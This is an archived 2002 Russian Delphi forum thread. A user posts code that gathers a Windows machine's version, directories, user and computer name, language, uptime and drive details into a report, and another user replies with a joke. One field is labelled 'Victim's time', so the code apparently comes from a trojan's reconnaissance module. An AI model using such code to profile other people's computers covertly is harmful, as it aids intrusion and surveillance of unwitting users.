Форум: "WinAPI";
Текущий архив: 2002.12.16;
Скачать: [xml.tar.bz2];
ВнизПеревести помогите плиз Найти похожие ветки
← →
X-shadow (2002-11-03 16:57) [0]const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");
var str:string;
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
typ:integer;
Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
PCNAME:string;
tmp12,cPath,Win:string;
s:string;
begin
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP ";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end;
end;
end;
← →
Jeer (2002-11-03 17:11) [1]На какой ?
Могу на фарси, суахили..
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2002.12.16;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.03 c